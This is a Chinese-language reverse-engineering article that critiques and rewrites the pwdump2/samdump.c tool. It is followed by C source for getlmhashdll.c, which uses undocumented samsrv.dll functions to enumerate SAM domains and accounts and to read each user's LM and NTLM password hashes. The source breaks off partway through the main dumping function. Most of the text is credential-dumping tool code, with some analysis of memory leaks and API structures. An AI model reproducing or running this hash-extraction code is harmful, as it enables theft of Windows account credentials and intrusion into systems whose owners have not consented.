?? pwdump2samdump.c淺析與改進.txt
字號:
☆ pwdump2/samdump.c淺析與改進
samdump.c調用LsaQueryInformationPolicy()獲取主機SID,未調用LsaFreeMemory()
釋放內存,造成lsass.exe進程空間的內存泄漏。此外,需要引入advapi32.lib。
samdump.c中有一個RegCloseKey()操作,可能最初直接讀取注冊表,后因LM Hash、
NTLM Hash加密存放,才改用samsrv.dll引出的未公開(文檔化)函數。
我重寫了pwdump2,主要是配合前段時間samsrv.dll的逆向工程,將一些猜測性結論
加以驗證,或推翻或肯定。參getlmhashdll.c源代碼,將整個流程減化、抽象一下:
--------------------------------------------------------------------------
SamIConnect
SamrEnumerateDomainsInSamServer
SamrLookupDomainInSamServer
SamrOpenDomain
SamrEnumerateUsersInDomain
SamrOpenUser
SamrQueryInformationUser
SamIFree_SAMPR_USER_INFO_BUFFER
SamrCloseHandle
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
LocalFree
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
--------------------------------------------------------------------------
SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未
曾用到的samsrv.dll引出函數,用以代替LsaQueryInformationPolicy,其實我演示
的這個方法才是正經的SAM操作方法。我的意思是,要用未文檔化的函數,就都用好
了。
使用LsaQueryInformationPolicy的話,就不必使用SamrEnumerateUsersInDomain,
理念換成"盡量使用文檔化的函數",用NetUserEnum枚舉帳號。
相比samdump.c,沒有其它改進,Todd Sabin已經完成了必要的Hacking。
--------------------------------------------------------------------------
/*
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
* -----------------------------------------------------------------------
* Rewrite : scz <scz@nsfocus.com>
* : http://www.nsfocus.com
* Version : 1.10
* Compile : For x86/EWindows XP SP1 & VC 7
* : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE
* :
* Create : 2003-12-29 21:42
* Modify : 2004-01-04 17:26
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/
/************************************************************************
* *
* Head File *
* *
************************************************************************/
/*
* #define _WIN32_WINNT 0x0501
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* for _vsnprintf()
*/
#include <stdarg.h>
#include <windows.h>
/************************************************************************
* *
* Macro *
* *
************************************************************************/
#pragma comment( linker, "/INCREMENTAL:NO" )
#pragma comment( lib, "kernel32.lib" )
#define VERSION "1.10"
/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (\WINDDK\2600.1106\inc\ddk\wxp\)
*/
typedef LONG NTSTATUS;
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
#define SamUserOWFPasswordInformation 0x12
#pragma pack( push, 1 )
/*
* ntdef.h
*/
typedef struct _UNICODE_STRING
{
USHORT Length; // +0x000
USHORT MaximumLength; // +0x002
PWSTR Buffer; // +0x004
// +0x008
} UNICODE_STRING, *PUNICODE_STRING;
/*
* !!!
* from Luke Kenneth Casson Leighton
*/
typedef struct _SAM_DOMAIN_USER
{
DWORD userrid; // +0x000
UNICODE_STRING username; // +0x004,這是一個結構,而非結構指針
// +0x00c,該結構總共占12字節
} SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;
/*
* !!!
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
*/
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
DWORD DomainUserCount; // +0x000,數組元素個數
PSAM_DOMAIN_USER DomainUser; // +0x004,動態分配空間的結構數組
// +0x008,后面還有沒有成員,目前看不出來
/*
* ... ...
*/
} SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION;
/*
* 自己Hacking得到的結構,不可靠
*/
typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION // Information Class 0x12
{
unsigned char NTLMHash[16]; // +0x000,16字節的NTLM Hash
unsigned char LMHash[16]; // +0x010,16字節的LM Hash
unsigned short int Unknown_020; // +0x020,參samsrv!SampGetCurrentAdminPassword()
unsigned char Unknown_022; // +0x022
// +0x023
} SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;
typedef struct _SAM_SERVER_DOMAIN
{
DWORD unused; // +0x000,未使用,總為0(猜測)
UNICODE_STRING domainname; // +0x004,這是一個結構,而非結構指針
// +0x00c,該結構總共占12字節
} SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;
typedef struct _SAM_DOMAIN_ENUMERATION
{
DWORD ServerDomainCount; // +0x000,數組元素個數
PSAM_SERVER_DOMAIN ServerDomain; // +0x004,動態分配空間的結構數組
// +0x008,后面還有沒有成員,目前看不出來
/*
* ... ...
*/
} SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION;
#pragma pack( pop )
/*
* 這些Undocumented Win32 API由samsrv.dll引出(export)
*/
typedef NTSTATUS ( WINAPI *SAMICONNECT )
(
DWORD Unknown_0, // 意義不明,調用時一般為0
PHANDLE pSamHandle, // [out]參數,是指向HANDLE的指針,不是HANDLE
DWORD AccessMask, // Access Mask
DWORD Unknown_1 // 意義不明,調用時一般為1
);
typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN )
(
HANDLE SamHandle, // 源自sam connect操作
DWORD AccessMask, // Access Mask
PSID DomainSid, // 這個域不是通常所說NT域
PHANDLE pDomainHandle // [out]參數,是指向HANDLE的指針,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMROPENUSER )
(
HANDLE DomainHandle, // 源自sam open domain操作
DWORD AccessMask, // Access Mask
DWORD Rid, // 比如500,0x1F4,Administrator
PHANDLE pUserHandle // [out]參數,是指向HANDLE的指針,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER )
(
HANDLE UserHandle, // 源自sam open user操作
DWORD InfoClass, // 其實是SAM_USER_INFORMATION_CLASS枚舉型,為
// 了減少編譯難度,換成DWORD型
PVOID UserInfo // 隨InfoClass不同,對應不同的結構
);
typedef VOID ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER )
(
PVOID UserInfo, // 隨InfoClass不同,對應不同的結構
DWORD InfoClass // 其實是SAM_USER_INFORMATION_CLASS枚舉型,為
// 了減少編譯難度,換成DWORD型
);
typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE )
(
PHANDLE pHandle // 可以關閉各種sam操作相關的句柄
// 是指向HANDLE的指針,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN )
(
HANDLE DomainHandle, // 源自sam open domain操作
PHANDLE pEnumerationHandle, // [in/out]參數,Resume Handle
// 是指向HANDLE的指針,不是HANDLE
DWORD AccessMask, // filter,Access Mask
// 如欲枚舉所有帳號,指定0
PPSAM_DOMAIN_USER_ENUMERATION pDomainUserEnumeration, // [out]參數
DWORD PrefMaxSize, // 意義未明,似乎對應Pref MaxSize
// 可以指定成0x0000FFFF
PDWORD pUserCount // [out]參數,枚舉出的帳號數目
);
typedef VOID ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER )
(
PVOID EnumerationBuf // 其實是PSAM_ENUMERATION_BUFFER
// 調用時可能傳PSAM_DOMAIN_USER_ENUMERATION
// 或者傳PSAM_SERVER_DOMAIN_ENUMERATION
);
typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PHANDLE pEnumerationHandle, // [in/out]參數,Resume Handle
// 是指向HANDLE的指針,不是HANDLE
PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration, // [out]參數
DWORD PrefMaxSize, // 意義未明,似乎對應Pref MaxSize
// 應該也可以指定成0x0000FFFF
PDWORD pDomainCount // [out]參數,枚舉出的Domain數目
);
typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PUNICODE_STRING DomainName, //
PSID *pDomainSid // [out]參數,用LocalFree()釋放
);
/*
* 這些Native API由ntdll.dll引出(export)
*/
typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR )
(
IN NTSTATUS status
);
/************************************************************************
* *
* Function Prototype *
* *
************************************************************************/
static void getlmhash ( void );
static BOOL LocateNtdllEntry ( void );
static BOOL LocateSamsrvEntry ( void );
static void PrintHash ( unsigned char *hash );
static void PrintUnicodeString ( PUNICODE_STRING us );
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId );
static void PrintZwErrorCUI ( char *message, NTSTATUS status );
static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
);
__declspec(dllexport)
DWORD __cdecl
getlmhashdll_main ( char *pipename );
/************************************************************************
* *
* Static Global Var *
* *
************************************************************************/
static HANDLE outfile = INVALID_HANDLE_VALUE;
static char *outbuf = NULL;
static size_t outbuflen = 0;
static HMODULE samsrv = NULL;
/*
* 由samsrv.dll引出的Undocumented Win32 API函數指針
*/
static SAMICONNECT SamIConnect = NULL;
static SAMROPENDOMAIN SamrOpenDomain = NULL;
static SAMROPENUSER SamrOpenUser = NULL;
static SAMRQUERYINFORMATIONUSER SamrQueryInformationUser = NULL;
static SAMIFREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = NULL;
static SAMRCLOSEHANDLE SamrCloseHandle = NULL;
static SAMRENUMERATEUSERSINDOMAIN SamrEnumerateUsersInDomain = NULL;
static SAMIFREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = NULL;
static SAMRENUMERATEDOMAINSINSAMSERVER SamrEnumerateDomainsInSamServer = NULL;
static SAMRLOOKUPDOMAININSAMSERVER SamrLookupDomainInSamServer = NULL;
/*
* 由ntdll.dll引出的Native API函數指針
*/
static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;
/************************************************************************/
static void getlmhash ( void )
{
NTSTATUS status;
HANDLE SamHandle = NULL,
EnumerationHandle = NULL,
DomainHandle = NULL,
UserHandle = NULL;
PSAM_SERVER_DOMAIN_ENUMERATION ServerDomainEnumeration = NULL;
DWORD DomainCount = 0,
UserCount = 0,
Count = 0;
PSID DomainSid = NULL;
PSAM_DOMAIN_USER_ENUMERATION DomainUserEnumeration = NULL;
BOOL nomoredata = FALSE;
PSAM_USER_OWF_PASSWORD_INFORMATION UserOWFPasswordInfo = NULL;
status = SamIConnect
(
0, // 意義不明,調用時一般為0
&SamHandle, // [out]參數,是指向HANDLE的指針,不是HANDLE
0x10000030, // Access Mask
// Generic read
// Open domain
// Enum domains
1 // 意義不明,調用時一般為1
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamIConnect() failed",
status
);
goto getlmhash_exit;
}
status = SamrEnumerateDomainsInSamServer
(
SamHandle, // 源自sam connect操作
&EnumerationHandle, // [in/out]參數,Resume Handle
// 是指向HANDLE的指針,不是HANDLE
&ServerDomainEnumeration, // [out]參數
0x0000FFFF, // 意義未明,似乎對應Pref MaxSize
// 應該也可以指定成0x0000FFFF
&DomainCount // [out]參數,枚舉出的Domain數目
);
if ( !NT_SUCCESS( status ) )
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -